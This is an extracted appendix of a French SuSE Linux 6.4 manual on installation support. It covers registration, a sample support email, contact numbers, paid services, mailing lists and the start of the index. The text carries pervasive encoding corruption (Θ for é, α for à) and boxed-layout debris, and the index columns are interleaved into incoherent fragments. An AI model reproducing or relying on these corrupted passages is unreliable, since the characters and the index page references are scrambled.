Si vous deviez rencontrer quelques difficultΘs, assurez-vous tout d'abord,
avant de vous adresser α notre Θquipe d'Assistance Technique, que la solution
ne se trouve pas dΘjα dans ce manuel ou dans notre base de donnΘes support
(SDB)1 . Vous devriez Θgalement consulter les diffΘrents fichiers README qui
se trouvent sur le premier CD.
H.1 60 jours d'Assistance Technique α l'Installation
H.1.1 Sans enregistrement, pas d'Assistance Technique α l'Installa-
tion !
Pour assurer un service optimal d'Assistance Technique α l'Installation, nous
ne rΘpondons qu'aux requΩtes adressΘes par les utilisateurs SuSE Linux en-
registrΘs.
└ la premiΦre page de ce manuel, vous trouverez une carte d'enregistrement
pourvue de votre numΘro de code. Ce code est unique et sert α vΘrifier que
vous Ωtes bien en possession d'un vΘritable SuSE Linux.
Si vous nous faites parvenir par courrier postal votre carte d'enregistrement Carte d'enre-
aprΦs l'avoir remplie ou si vous vous faites enregistrer en ligne sur notre gistrement
serveur WWW α l'aide du formulaire sous l'URL http://www.suse.de/ En ligne
en/support/isupport/register/, vous deviendrez un utilisateur SuSE
Linux enregistrΘ ayant droit α l'Assistance Technique α l'Installation.
1 ____________________________________________________
Il est prΘcisΘ, au paragraphe H.6 page 563, sous quelle adresse Internet ou au moyen de quels
paquetages logiciels vous pourrez avoir accΦs α ces informations.
*
* 557
H. Assistance Technique_et_services_de_SuSE______GmbH_____________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________||
| Comme le numΘro d'enregistrement et, par consΘquent, le droit α l'As- *
* ||||
|| sistance Technique sont liΘs au produit, nous vous prions de bien vouloir *
* ||||
| *
* ||||
| vous faire enregistrer pour chaque Θdition de SuSE Linux, mΩme si vous *
* |||
| effectuez seulement une mise α jour ou si vous vous Ωtes procurΘ le pro- *
* |||
| *
* |||
| duit directement chez nous. Vous n'Ωtes pas enregistrΘ automatiquement *
* |||
| au moment de l'achat ! *
* |||
|_______________________________________________________________________________________________________*
*________|||_
H.1.2 PrΘsentation de l'Assistance Technique α l'Installation
Le but de l'Assistance Technique α l'Installation est de vous aider α mettre en
marche votre systΦme SuSE Linux. Ceci inclut
~ l'installation du systΦme de base SuSE Linux α partir des CD
~ la configuration de base d'un systΦme monoposte
~ la configuration de base de l'interface graphique X11
~ la configuration de base d'un modem analogique de type courant pour
connexion Internet (uniquement du c⌠tΘ du client)
~ la configuration de base d'une carte ISDN normale pour connexion Inter-
net (uniquement du c⌠tΘ du client)
~ la configuration du service d'impression local pour un ordinateur mono-
poste
~ la configuration de base d'une carte son supportΘe.
Les sujets qui ne sont pas mentionnΘs ici ne sont pas traitΘs par l'Assis-
tance Technique α l'Installation et il ne sera pas rΘpondu aux requΩtes les
concernant.
Notre Assistance Technique a ΘtΘ conτue pour vous venir en aide lors de l'ins-
tallation de base de votre systΦme et ne doit pas Ωtre considΘrΘe comme une
formation ou une introduction α Linux. Elle ne peut donc prendre en compte
que les problΦmes de configuration et ne peut pas rΘsoudre les problΦmes liΘs
α des difficultΘs de comprΘhension.
Il peut malgrΘ tout arriver qu'une certaine configuration matΘrielle impose des
restrictions au fonctionnement de SuSE Linux ou ne permette pas du tout de
le faire dΘmarrer. Nous vous demandons donc de comprendre qu'il ne nous
est pas possible de vous garantir α cent pour cent que les efforts de notre
service d'Assistance Technique α l'Installation seront couronnΘs de succΦs.
Outre le systΦme Linux de base, notre distribution SuSE Linux contient plus
de mille paquetages logiciels (actuellement un ensemble d'environ 1300
paquetages). Nous nous efforτons de les maintenir α jour pour vous en offrir
la version la plus rΘcente mais il ne nous est pas toujours possible de connaεtre
en dΘtail la configuration de chacun de ces paquetages ni de programmer des
extensions. Vous comprendrez certainement que nous soyons parfois obligΘs,
pour la configuration de certains programmes, de vous demander de consulter
la documentation qui s'y rapporte (pages de man, fichiers README, aide en
ligne).
558
__________________________________________________________H.2.__Le_chemin_le_plus_court_qui_mΦne_α_l'aide_!_________________*
*______________________
H.2 Le chemin le plus court qui mΦne α l'aide !
Le texte qui suit constitue un petit guide dont le but est de vous permettre
d'obtenir le plus vite possible une rΘponse de notre Θquipe d'Assistance Tech-
nique. Seul le courrier conforme au standard dΘcrit peut Ωtre traitΘ automati-
quement et donc trΦs rapidement par notre systΦme de gestion ! Toutes les
autres requΩtes doivent Ωtre triΘes α la main et transmises aux diffΘrents spΘ-
cialistes de notre Θquipe d'Assistance Technique.
~ Enregistrez votre SuSE Linux en ligne, sur notre page Web sous http:
//www.suse.de/en/support/isupport/register/.
~ Envoyez votre courrier, comme dans le fichier H.2.1, directement α
l'adresse suse-fr@suse.de. Tenez compte dans vos donnΘes des majus-
cules et des minuscules. C'est seulement dans ces conditions que votre
courrier pourra Ωtre traitΘ automatiquement. Si certains champs tels que
ENTREPRISE : ne sont pas nΘcessaires, laissez-les vides.
~ N'ajoutez pas d'annexes inutiles (par exemple cartes de visite au format
X-VCARD) et insΘrez, le cas ΘchΘant, les fichiers de configuration au
format|ASCII|directement|dans votre requΩte (voir fichier H.2.2). ||
_______________________________________________________________________________________________________________________||||
||||||||PR╔NOM: ZΘphirin |
||||||||NOM: Blizzard |
|||||||| |
||||||||ENTREPRISE: Fanlabise (Institut mΘtΘorologique) |
||||||||RUE: 44, rue des Quatre Vents |
|||||||| |
||||||||C.P.: 00444 |
||||||||VILLE: COURANDAIRE |
|||||||| |
||||||||PAYS: France |
||||||||CODE.REG: XXXXXX |
|||||||| |
||||||||EMAIL: blizzard@nowhere.fr |
|||||||| |
||||||||ChΦre Θquipe d'Assistante SuSE |
|||||||| |
|||||||| |
||||||||J'ai un petit problΦme dans mon Institut MΘtΘorologique. |
|||||||| |
|||||||| |
||||||||AprΦs l'installation de SuSE Linux 6.4, je vois |
|||||||| |
||||||||apparaεtre le message d'erreur |
|||||||| |
|||||||| |
|||||||| "Unable to open an initial console" |
|||||||| |
|||||||| |
||||||||Je possΦde un Pentium 400 avec 128 Mo de RAM et un disque dur |
||||||||IDE de 8 Go. Qu'est-ce-que j'ai bien pu faire qui ne va pas? |
|||||||| |
|||||||| |
||||||||Amicales pensΘes |
||||||||(aussi de la part de mon assistant Roger Galerne) |
|||||||| |
|||||||| |
||||||||ZΘphirin Blizzard |
|||||||| |
||||||||<blizzard@nowhere.fr>__________________________________________________________________________________________ |
fichier H.2.1: Exemple pour une requΩte par courrier Θlectronique
*
* 559
H. Assistance Technique_et_services_de_SuSE______GmbH_____________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________||||
|... j'ai un problΦme avec Lilo. Voici la partie la plus *
* |
||importante de mon fichier /etc/lilo.conf *
* ||
| *
* |
|---clic--- *
* |
| *
* |
|# Linux bootable partition config begins *
* |
|image = /boot/vmlinuz *
* |
|root = /dev/sda2 *
* |
| *
* |
|label = linux-2.0.36 *
* |
|# Linux bootable partition config ends *
* |
| *
* |
|---clac---_____________________________________________________________________________________________*
*________ |
fichier H.2.2: ╔lΘment d'une requΩte par courrier Θlectronique avec fichier de
configuration
PΘriode de validitΘ de l'Assistance Technique α l'Installation
L'Assistance Technique α l'Installation pour un CD SuSE Linux couvre une
pΘriode de 60 jours α compter de la date de votre enregistrement mais s'Θtend
au maximum α 60 jours aprΦs la date de parution du CD suivant.
H.2.1 Comment contacter l'Θquipe d'Assistance Technique SuSE ?
Vous pouvez contacter notre Θquipe d'Assistance Technique par E-mail, fax,
courrier postal et par tΘlΘphone.
Lorsque vous nous adressez une requΩte d'Assistance Technique, assurez-
vous que le moyen de communication que vous avez choisi fonctionne effec-
tivement. Il nous arrive trΦs souvent de devoir rΘpondre α des requΩtes dans
des conditions difficiles, lorsque par exemple le tΘlΘcopieur de notre client
n'est pas continuellement en marche (fax sur ordinateur) ou lorsque l'adresse
E-mail n'est pas valide ou n'est pas accessible.
________________________________________________________________________________________________________*
*________|||
| Lorsque vous envoyez du courrier Θlectronique, vous devez veiller α ne *
* ||||
| *
* |||
| pas envoyer d'annexes (angl. attachments). Si vous voulez transmettre par *
* |||
| exemple des fichiers log, intΘgrez-les directement dans le texte. Vous de- *
* |||
| *
* |||
| vriez tout particuliΦrement Θviter de joindre α vos mails des fichiers en *
* |||
| formats propriΘtaires ~ en rΦgle gΘnΘrale, nous ne disposons pas des logi- *
* |||
| *
* |||
| ciels nΘcessaires pour le dΘcodage de tels messages. En outre, il n'est pas *
* |||
| indispensable de nous faire parvenir des textes HTLM. Cette fonction peut *
* |||
| *
* |||
| Ωtre dΘsactivΘe dans votre navigateur : : : *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Vous pouvez contacter notre Θquipe d'Assistance Technique de la faτon sui-
vante aux horaires indiquΘs :
~ par E-mail
Adresse : suse-fr@suse.de
Traitement des requΩtes : toute la semaine
~ par WWW (E-mail)
Adresse : http://www.suse.de/fr/support/
Traitement des requΩtes : toute la semaine
560
________________________________________________________________________________________________H.3.__SuSE______Service_Pro_*
*______________________
~ par tΘlΘphone (ligne de dΘpannage)
NumΘro de tΘlΘphone
pour la France : 0825 012 014 (0.99 F/min)
hors de France : +33 3 88 220 116
Horaires de la ligne de dΘpannage :
lundi de 14h.00 α 18h.00 et jeudi de 16h.00 α 20h.00
Tenez votre code d'enregistrement α portΘe de la main et assurez-vous que
vous Ωtes dΘjα enregistrΘ. Seuls les utilisateurs SuSE Linux enregistrΘs
ont droit α l'Assistance Technique α l'Installation.
Nous vous prions de bien vouloir noter qu'une requΩte tΘlΘphonique
normale ne devrait pas dΘpasser 5 minutes.
Nous recevons habituellement vers 14h.00 un bien plus grand nombre
d'appels qu'α une heure plus avancΘe. Si vous ne parveniez pas α joindre
tout de suite l'un de nos collaborateurs de l'Assistance Technique, essayez
tout simplement un peu plus tard.
~ par fax
NumΘro de tΘlΘcopieur :
pour la France : 03 88 329 329
hors de France : +33 3 88 329 329
Traitement des requΩtes toute la semaine
~ par courrier postal
Adresse : Arkane Media
7, Rue Graumann
F-67000 - Strassbourg
Traitement des requΩtes : toute la semaine
Nous donnons toujours aux termes Assistance Technique α l'Installation un
sens trΦs large. Mais vous comprendrez certainement que nous ne pouvons
pas, pour le prix d'une distribution SuSE Linux, nous charger de l'adminis-
tration du rΘseau de votre entreprise. C'est pourquoi nous vous proposons :
http://www.suse.de/fr/support/
H.3 SuSE Service Pro
MΩme lorsqu'un systΦme d'exploitation possΦde toutes les aptitudes nΘces-
saires, seule une prise en charge professionnelle et compΘtente en fera une Services
vΘritable alternative pour le travail quotidien au sein d'une entreprise. SuSE
garantit ce service pour Linux.
La compΘtence de notre Θquipe de dΘveloppement et de support ne se limite
pas aux services inclus dans le prix de la distribution SuSE Linux. C'est
surtout lors de la mise en pratique de solutions complexes que l'incomparable
savoir-faire de notre Θquipe d'experts Linux se rΘvΦle une aide prΘcieuse.
Qu'il s'agisse de cours de formation, d'installation de matΘriel ou de logiciels,
de solutions individuelles de maintenance et de support - comment pouvons-
nous vous aider ?
*
* 561
H. Assistance Technique_et_services_de_SuSE______GmbH_____________________________________________________________________________*
*_______________________________________@
Notre Θquipe est α votre disposition.
Services Contact :
facturΘs Vous avez d'autres questions au sujet de nos prestations ?
~ TΘlΘhone
NumΘro : +49 911 740 53 56
du lundi au vendredi de 09h.00 α 17h.00
~ E-mail
Adresse : bsupport@suse.de
~ Fax
NumΘro : +49 911 320 67 27
~ Post
Adresse : SuSE GmbH
~ Professional Services ~
SchanzΣckerstr. 10
D-90443 Nⁿrnberg
~ WWW
URL : http://www.suse.de/en/support/prof/
________________________________________________________________________________________________________*
*________||
| Nous attirons votre attention sur le fait que notre Service Pro n'est proposΘ *
* ||||
| *
* |||
| pour le moment qu'en anglais et en allemand. Nous travaillons actuelle- *
* |||
| ment α la mise sur pied d'un service en langue franτaise mais celui-ci n'est *
* |||
| *
* |||
| pas encore disponible au moment de la mise sous presse du prΘsent manuel. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
H.3.1 Projets individuels et consultation
Vous souhaitez mettre en oeuvre SuSE Linux dans votre entreprise. Nous
pouvons vous conseiller avec compΘtence et vous proposer des solutions qui
vous permettront d'utiliser Linux avec le maximum de profit.
En tant que distributeurs Linux de la premiΦre heure, nous possΘdons, dans le
domaine de la mise en fonction de serveurs Linux, une grande expΘrience α la-
quelle vient s'ajouter l'expΘrience de nos consultants. Tirez parti des connais-
sances de nos experts afin de rΘaliser vos projets avec succΦs. C'est notre po-
lyvalence qui fait notre force. Qu'il s'agisse de bases de donnΘes, de concepts
de sΘcuritΘ, de connexions α Internet ou de la mise en rΘseau d'une entreprise :
Linux constitue avec les logiciels appropriΘs une puissante plate-forme pour
vos applications.
Nos offres de services s'Θtendent de la conception, implΘmentation et confi-
guration de systΦmes de serveurs jusqu'α l'assistance α la mise en place d'une
infrastructure complΦte.
Vous souhaitez par exemple Θtablir votre prΘsence sur Internet en prenant
comme base SuSE Linux et il vous faut une solution adΘquate pour le serveur
Web, le courrier Θlectronique et une connexion Internet fiable et sΘcurisΘe ?
Nos consultants systΦme collaboreront avec vous pour concevoir et implΘ-
menter la solution qui convient.
562
___________________________________________________________________________________________________________H.4.__Formation__*
*______________________
Vous Ωtes responsable d'un rΘseau hΘtΘrogΦne complexe et vous souhaitez in-
tΘgrer Linux ? Nous vous conseillerons et vous assisterons lors de la concep-
tion et de la mise en pratique de solutions de serveurs complexes.
Vous avez des exigences particuliΦres qui ne peuvent pas Ωtre couvertes par
les logiciels standards ? Nous pouvons vous apporter une aide avec des dΘve-
loppements sur mesure.
Nous avons, outre notre centre de support et de dΘveloppement α Nuremberg,
des centres de services α Hambourg, Bonn, Stuttgart, Francfort et Munich.
~ Services pour l'implΘmentation et la mise en oeuvre
~ Assistance α la mise en place d'infrastructures
~ Solutions de serveurs Intranet
~ Solutions de serveurs Internet
~ DΘveloppement d'adaptations spΘcifiques au client
~ Solutions complΦtes
~ E-Commerce
H.4 Formation
Nos spΘcialistes forment des administrateurs systΦme et des programmeurs Formation
de telle maniΦre que ceux-ci sont capables, en trΦs peu de temps, de tirer
parti des vastes ressources de Linux ~ et de rΘaliser ainsi un travail productif.
Informez-vous sur nos offres de formations : http://www.suse.de/de/
support/training/.
H.5 Vos rΘactions
Nous sommes toujours heureux de recevoir des commentaires et des des-
criptions de problΦmes. Nous vous aidons volontiers lorsque le problΦme est
d'ordre fondamental ou lorsque nous avons dΘjα une solution α vous proposer.
Vos rΘactions nous permettent en tout cas de remΘdier α ce problΦme dans les
versions ultΘrieures ou de mettre l'information que vous nous avez fournie α
la disposition d'autres utilisateurs SuSE Linux, par exemple via WWW.
D'autre part, nous nous efforτons de construire un systΦme SuSE Linux qui
rΘponde le plus possible α l'attente de notre clientΦle. C'est pourquoi nous
sommes toujours α l'Θcoute des critiques qui pourraient nous parvenir au sujet
du CD ou du manuel et nous acceptons volontiers les suggestions concernant
de futurs projets. Nous pensons que c'est le meilleur moyen de prΘvenir α
temps des erreurs dans le dΘveloppement et de conserver ainsi α Linux son
haut niveau de qualitΘ.
Vous pouvez nous faire connaεtre α tout moment vos rΘactions par E-mail α
feedback@suse.de.
H.6 Autres services
Nous souhaitons, par ailleurs, attirer votre attention sur les services gratuits
qui sont α votre disposition 24 heures sur 24 :
*
* 563
H. Assistance Technique_et_services_de_SuSE______GmbH_____________________________________________________________________________*
*_______________________________________@
~ SuSE WWW-Server
http://www.suse.de/fr/
Informations actuelles, catalogue, service de commande, formulaire de
demande d'Assistance Technique, base de donnΘes support (SDB)
~ Listes de diffusion SuSE (Groupes d'information et de discussion via
E-mail) :
~ suse-announce@suse.com ~ Annonces et infos de SuSE GmbH (alle-
mand)
~ suse-announce-e@suse.com ~ Annonces et infos de SuSE GmbH (an-
glais)
~ suse-linux@suse.com ~ Discussions autour de la distribution SuSE
Linux (allemand)
~ suse-axp@suse.com ~ SuSE Linux sur processeurs Alpha (en anglais)
~ suse-linux-e@suse.com ~ Discussions autour de la distribution SuSE
Linux (anglais)
~ suse-isdn@suse.com ~ ISDN avec SuSE Linux
~ suse-adabas@suse.com ~ Infos et discussions au sujet de Adabas-D
sous SuSE Linux
~ suse-applix@suse.com ~ ╔change d'informations sur le paquetage Ap-
plixware de SuSE GmbH
~ suse-informix@suse.com ~ Infos et discussions sur Informix sous
SuSE Linux
~ suse-oracle@suse.com ~ Infos et discussions su sujet d'Oracle sous
SuSE Linux (en anglais)
Pour recevoir rΘguliΦrement les annonces, envoyez nous simplement
un message par E-mail α majordomo@suse.com avec la commande
subscribe dans le corps du message : subscribe <liste> , le sujet
n'a qu'une importance secondaire. Exemple :
subscribe suse-announce
Il est tout aussi simple de rΘsilier votre abonnement α la liste si vous ne
souhaitez plus la recevoir. Envoyez de nouveau un message par E-mail α
majordomo@suse.com :
unsubscribe suse-announce
Veillez α ce que la commande unsubscribe soit exΘcutΘe avec votre
adresse E-mail correcte.
~ SuSE ftp-Server
ftp://ftp.suse.com
Informations actuelles, mises α jours et corrections d'erreurs (bugfixes).
Connectez-vous sur le systΦme en tant qu'utilisateur `ftp'.
564
Bibliographie
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568
Index
Symboles /etc/resolv.conf . . . . 454 AHA-274x . . . . . . . . . .*
* . 372
.susefaxrc /opt . . . . . . . . . . . . . . . . . . . . 68 AHA-284x . . . . . . . . . .*
* . 372
SuSEFax . . . . . . . . . . . . . 212 RPM (rpm ) . . . . . . . . . . . . . 525 AHA-294x . . . . . . . . . .*
* . 372
.susephone kdm . . . . . . . . . . . . . . . . . . . 460 Adaptec 2920 . . . . . . 375, 3*
*84
SuSEFax . . . . . . . . . . . . . 212 xdm . . . . . . . . . . . . . . . . . . . 460 Adaptive Answer Support
/bin . . . . . . . . . . . . . . . . . . . . . 73SuSE DyDe . . . . . . . . . . . . 271 HylaFAX . . . . . . . . . . .*
* . . 227
/etc/conf.modules . . . voir XFree86 . . . . . . . . . . . . . . . . 4, 5 Administrateur systΦme . . 511
/etc/modules.conf systΦme X Window . voir X11 Administration
/etc/fstab . . . . . . . . . . . . . 93 YaST Groupes . . . . . . . . . . .*
* . . . 112
/etc/inittab . . . . . . . . . 445 PremiΦre installation . . . . 33 Utilisateurs . . . . . . . . *
*. . . 111
/etc/modules.conf . . . 361 YaST . . . . . . . . . . . . . . . . . 5, 43 YaST . . . . . . . . . . . .*
* . . . . 100
/etc/ppp/ppp-down . . . . . . 199 1024 cylindres Adresse de passerelle . . . . 156
/etc/printcap . . . . . . . . . . . . 338 LILO problΦmes . . . . . . 139 Adresse de rΘseau . . . . . . .*
* 163
/etc/rc.config . . 114, 451 1TR6 . . . . . . . . . . . . . . . . . . 176 Adresse IP . 86, 155, 156, 163,
/etc/undo`harden`suse . . . 474 3COM 3c501 . . . . . . . . . . . 385 511
/sbin/SuSEconfig . . . . . . . . 450 3COM 3c503 . . . . . . . . . . . 385 dynanique . . . . . . . . . .*
* . . 455
/sbin/init . . . . . . . . . . . . . . . 445 3COM 3c505 . . . . . . . . . . . 385 Adresse IP dynamique . . . 455
/sbin/init.d/nfsserver . . . . . 167 3COM 3c507 . . . . . . . . . . . 385 ADSL . . . . . . . . . . . . . .*
* . . . . 189
/sbin/init.d/rc . . . . . . . . . . . 448 3COM 3c509 . . . . . . . . . . . 385 Advanced Power Management
/sbin/init.d/rpc . . . . . . . . . . 167 3COM 3c515 . . . . . . . . . . . 385 voir APM, voir APM
/usr/sbin/harden`suse . . . . 474 3COM 3c579 . . . . . . . . . . . 385 AdvanSys . . . . . . . . . . . *
*. . . 373
/usr/sbin/routed . . . . . . . . . 164 3COM33c590CO.M.3.c.9.0.0. ........385.... . . . 385AfterStep . . . . . . 267, 282*
*, 283
╔diteur . . . . . . . . . . . . . . . . . 514 3COM3c503 . . . . . . . . . . . . 379 aic7xxx . . . . . . . . . . . .*
* . . . . 373
SuSEFax . . . . . . . . . . . . . 218 3dpixm . . . . . . . . . . . . . . . . 285 Aide . . . . . voir KDE, systΦme
╔tat du systΦme . . . . . . . . . 496 3dpixms . . . . . . . . . . . . . . . 285 d'aide, 458, 541, 542
Θcran virtuel . . . . . . . . . . . . 262 FAQ . . . . . . . . . . . . *
*. . . . . . . 9
Applixware . . . . . . . . . . . . 460 A HowTo . . . . . . . . . . . .*
* . . . . . 9
Applixware . . . . . 67, 69, 407 a2ps . . . . . . . . . . . . . . . 340, 341 Hypertexte . . . . . . . . . *
*. . . . . 8
reboot . . . . . . . . . . . . . . . . 460 aaa_base . . . . . . . . . . . . . . 413 Livres . . . . . . . . . . . *
*. . . . . . 10
shutdown . . . . . . . . . . . . . . 460 Acheter un PC . . . . . . . . . . 433 Page de man . . . . . . . . *
*. . . . 9
LILO . . . . . . . . . . . . . . . . . . 104 Acronyme . . . . . . . . . . . . . . 511 README . . . . . . . . . . .*
* . . . 9
╔lΘments . . . . . . . . . . . . . 121 Adabas . . . . . . . . . . . . . . . . . 460 Texinfo . . . . . . . . . . .*
* . . . . . . 9
Configuration . . . . . . . . . 123 Adabas D . . . . . . . . . . . . . . . . . 6 AIRCOP . . . . . . . . . . . . *
*. . . 121
Interface . . . . . . . . . . . . . 121 Adaptateurs de terminaux Ajouter un utilisateur
O∙ peut-il Ωtre installΘ ? 121 ISDN . . . . . . . . . . . . . . 195 DifficultΘs . . . . . . . . .*
* . . . 161
Qu'est-ce que c'est . . . . 120 Adaptec Alias . . . . . . . . . . . . . *
*. . . . . . 511
LILO . . . . . . . . . . . . . . . . . . 137 AHA-152x/151x/1505 372, alien . . . . . . . . . . . *
*. . . . . . . 421
/etc/host.conf . . . . . . . 454 384 Alien . . . . . . . . . . . . .*
* . . . . . 421
/etc/hosts . . . . . . . . . . . . 454 AHA-154x . . . . . . . . . . . 372 allowed . . . . . . . . . . . .*
* . . . 346
*
* 569
Index _________________________________________________________________________________________________________________*
*_______________________________________@
AM53/79C974 . . . . . . . . . . 373 Commerciale . . . . . . . . . 561 boot.sys . . . . . . . . . . . .*
* . . . . 120
AMD 53/79C974 . . . . . . . . 373 E-Mail . . . . . . . . . . . . . . . 559 Boutons de la souris . . . . . 2*
*52
AMD Athlon / Intel Pentium Horaires . . . . . . . . . . . . . . 560 Bowman . . . . . . 267, 282, 283
III . . . . . . . . . . . . . . . . . 364 Installation . . . . . . . . . . . 557 BSD . . . . . . . . . . . . . . *
*. . . . . 500
AmigaOS . . . . . . . . . . . . . . 526 Le chemin le plus court qui bttv . . . . . . . . . . . . . .*
* . . . . . 315
Amorτage . . . . . . . . . . 483, 511 mΦne α l'aide . . . . . . . 559 Buffer . . . . . . . . . . . . .*
* . . . . . 512
Concepts . . . . . . . . . . . . . 119 Ligne de dΘpannage . . . 560 Bureau
Disque virtuel initial . . . 424 NumΘros de tΘlΘphone 560, ArriΦre-plan . . . . . . . .*
* . . 278
Linux initial . . . . . . . . . . . 51 563 CaractΦres . . . . . . . . . *
*. . . 279
ProcΘdure . . . . . . . . . . . . 117 Service Pro . . . . . . . . . . . 561 Configuration . . . . . . . .*
* . 286
Amorcer . . . . . . . . . . . . . . . 537 Services . . . . . . . . . 561, 563 Couleurs . . . . . . . . . .*
* . . . 279
α partir du CD2 . . . . . . . . 56 AT1700 . . . . . . . . . . . . . . . . 385 Curseur . . . . . . . . . . *
*. . . . 281
MΘcanisme d'amorτage avec ATAPI . . . . . . . . . . . . . . . . . 511 Ic⌠nes . . . . . . . . . . . *
*. . . . . 280
loadlin . . . . . . . . . . . . . 143 atd . . . . . . . . . . . . . . . . . . . . . 458 Polices . . . . . . . . . . .*
* . . . . 279
MΘthodes . . . . . . . . . . . . . . 44 attaque par dΘni de service 471__ Bus local Vesa . . . . . . . . *
*. . . 64
Andrew Tridgell . . . . . . . . 229 attaques de lhomme au milieu BusLogic . . . . . . . . . . . .*
* . . . 374
Annuaire 470__
SuSEFax . . . . . . . . . . . . . 218 Authentification . . . . . . . . . 411 C
apache . . . . . . . . . . . . . . . . . 436 autoexec.bat . . . . . . . . . . . . 143 C . . . . . . . . . . . . . . . *
*. . . . . . . 359
apache . . . . . . . 415, 435, 470 autoexec.bat . . . . . . . . . 449 C News . . . . . . . . . . . . *
*. . . . 410
Apache . . . . . . . . . . . . . . . . . 423 autofs . . . . . . . . . . . . . . . . . . 457 Cabletron E21xx . . . . . . . . *
*385
APM . . voir PCMCIA, APM, autofs . . . . . . . . . . . . . . . . 457 Cabletron E21XX . . . . . . . 379
327 AVM Fritz CaractΦres . . . . . . . . . . .*
* . . . 279
SΘlection du noyau . 38, 104 XPCDr. . . . . . . . . . . . . . . 196 CaractΦres jokers . . . 488, 512
apmd . . . . . . . . . . . . . . 323, 328 AVM-B1 . . . . . . . . . . . . . . . 176 CardBus . . . . . . . voir MatΘr*
*iel,
apmd . . . . . . . . . . . . . . 328, 329 awk . . . . . . . . . . . . . . . . . . . . . . 4 CardBus
app-defaults . . . . . . . . . . . . 286 Aztech, CD-ROM . . . . . . . 390 cardctl . . . . . . . . . . . .*
* . . . . . 326
Appel . . . . . . . . . . . . . . . . . . 483 cardmgr . . . . . . . . . . . . *
*. . . . 318
Apple . . . . . . . . . . . . . . . . . . 522 B cardmgr . . . . . . 318, 31*
*9, 325
Apple MacIntosh . . . . . . . . 518 Backup . . . . . . . . . . . . 492, 512 carte graphique Hercules . 103
Application . . . . . . . . 286, voir Bartels AutoEngineer (BAE) . Carte rΘseau
Programme 69 3COM 3c501 . . . . . . . . . *
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Applications Base de donnΘes 3COM 3c503 . . . . . . . . . *
*385
Fichiers de configuration . . . PostgreSQL . . . . . . . . . . 409 3COM 3c505 . . . . . . . . . *
*385
286 Base de donnΘes support . . . 7 3COM 3c507 . . . . . . . . . *
*385
Applix . . . . . . . . . . . . . . . . . . . 3 bash . 168, 488, 518, 534, 535, 3COM 3c509 . . . . . . . . . *
*385
aps . . . . . . 334, 340, 342, 354 568 3COM 3c515 . . . . . . . . . *
*385
apsfilter . . viii, 101, 102, 334, Bash . . . . . . . . . . . . . . . . . . . 407 3COM 3c579 . . . . . . . . . *
*385
339~346, 348, 353, 354 bin/faxrcvd . . . . . . . . . . . . . 228 3COM 3c590 . . . . . . . . . *
*385
Configuration . . . . 341, 345 bind . . . . . . . . . . . . . . . . . . . 159 3COM 3c900 . . . . . . . . . *
*385
Files d'impression . . . . . 341 bind . . . . . . . . . . . . . . 205, 480 AM7990 chipset . . . . . . 3*
*88
Imprimantes rΘseau . . . . 346 binutils . . . . . . . . . . . . . . 359 AT1700 . . . . . . . . . . .*
* . . . 385
Liste de contr⌠le . . . . . . 354 BIOS . . . . . . . . . . . . . . . . . . 512 Cabletron . . . . . . . . . .*
* . . . 385
Apsfilter . . . . . . . . . . . . . . . . 345 bitmap . . . . . . . . . . . . . . . . . 281 Configuration . . . . . . . .*
* . 100
apsfilterrc . . . . . . . . . . . . . . 345 Bogue . . . . . . . . . . . . . . . . . . 544 D-Link DE620 . . . . . . . . *
*389
Arborescence des rΘpertoires . books . . . . . . . . . . . . . . . . . . . 10 DE10x . . . . . . . . . . . .*
* . . . 386
529 Boot . . . . . . . . . . . . . . . 445, 512 DE20 . . . . . . . . . . . .*
* . . . . 386
Arcad . . . . . . . . . . . . . . . . . . . 69 gestionnaire d'amorτage . . . DE203 . . . . . . . . . . . .*
* . . . 386
arena . . . . . . . . . . . . . . . . 8, 459 119 DE204 . . . . . . . . . . . .*
* . . . 386
Argus . . . . . . . . . . . . . 460, 461 LILO . . . . . . . . . . . . . . . . 117 DE205 . . . . . . . . . . . .*
* . . . 386
Arkane Media . . . . . . . . . . 561 ParamΦtres . . . . . . . . . . . 367 DE42 . . . . . . . . . . . .*
* . . . . 386
Arkeia . . . . . . . . . . . . . . . . . 460 Partition racine . . . . . . . . 371 DE425 . . . . . . . . . . . .*
* . . . 386
Assistance Technique boot.local . . . . . . . . . . . . . . 449 DE434 . . . . . . . . . . . .*
* . . . 386
570
___________________________________________________________________________________________________________________________I*
*ndex__________________
DE435 . . . . . . . . . . . . . . . 386 Mozart . . . . . . . . . . 381, 390 fondamentales . . . . . . . *
*. 485
DE450 . . . . . . . . . . . . . . . 386 Optics Storage . . . 381, 391 Commandes DOS voir mtools
DE500 . . . . . . . . . . . . . . . 386 Panasonic . . . . . . . . 382, 392 Commandes fondamentales . .
DEC EtherWORKS . . . 386 Philips CM206 . . . 381, 391 485
Digital . . . . . . . . . . . . . . . 386 Sanyo . . . . . . . . . . . 382, 391 Communicator de Netscape . 8
Digital DEPCA . . . . . . . 386 Sony CDU31A . . . 382, 391 Commutateur . . . . . . . . . . *
*. 512
E21xx . . . . . . . . . . . . . . . . 385 Sony CDU33A . . . 382, 391 Compaq . . . . . . . . . . . . .*
* . . . . . 3
EtherBlaster . . . . . . . . . . 388 Sony CDU535 . . . . 382, 391 Compiler
EtherTeam 16i/32 . . . . . 388 SoundBlaster Pro 16 . . . 392 Noyau . . . . . . . . . . . *
*. . . . 542
EtherWORKS 3 . . . . . . . 386 CD-ROM multisession . . . 381 Compte . . . . . . . . . . . . *
*. . . . 512
Fujitsu CD-ROM ATAPI se bloque 60 Compte utilisateur . . . . . . .*
* . 24
FMV-181/182/183/184 . . cdb . . . . . . . . . . . . . . . . . 59, 244 Comptes d'impression . . . 346
387 CDE . . . . . . . . . . . . . . 267, 270 Concept d'amorτage . . . . . 119
HP 10/100 VG-AnyLAN . . . cdesim . . . . . . . . . . . . . . . . . 267 conf.modules . . . . . . . . . .*
* . voir
388 CERT . . . . . . . . . . . . . . . . . . 472 modules.conf
HP 27245 . . . . . . . . . . . . 388 Changer le nom . . . . . . . . . 106 conf.modules . . . . . . . . . v*
*oir
HP 27247B . . . . . . . . . . . 387 changes . . . . . . . . . . . . . . . 415 /etc/modules.conf
HP 27252A . . . . . . . . . . . 387 Chargeur . . . . . . . . . . . . . . . 117 config.sys . . . . . . . . . . *
*. . . . 143
HP 27xxx . . . . . . . . . . . . 388 Chargeur de modules du noyau Configuration
HP PCLAN . . . . . . . . . . . 388 361 Bureau . . . . . . . . . . . *
*. . . . 286
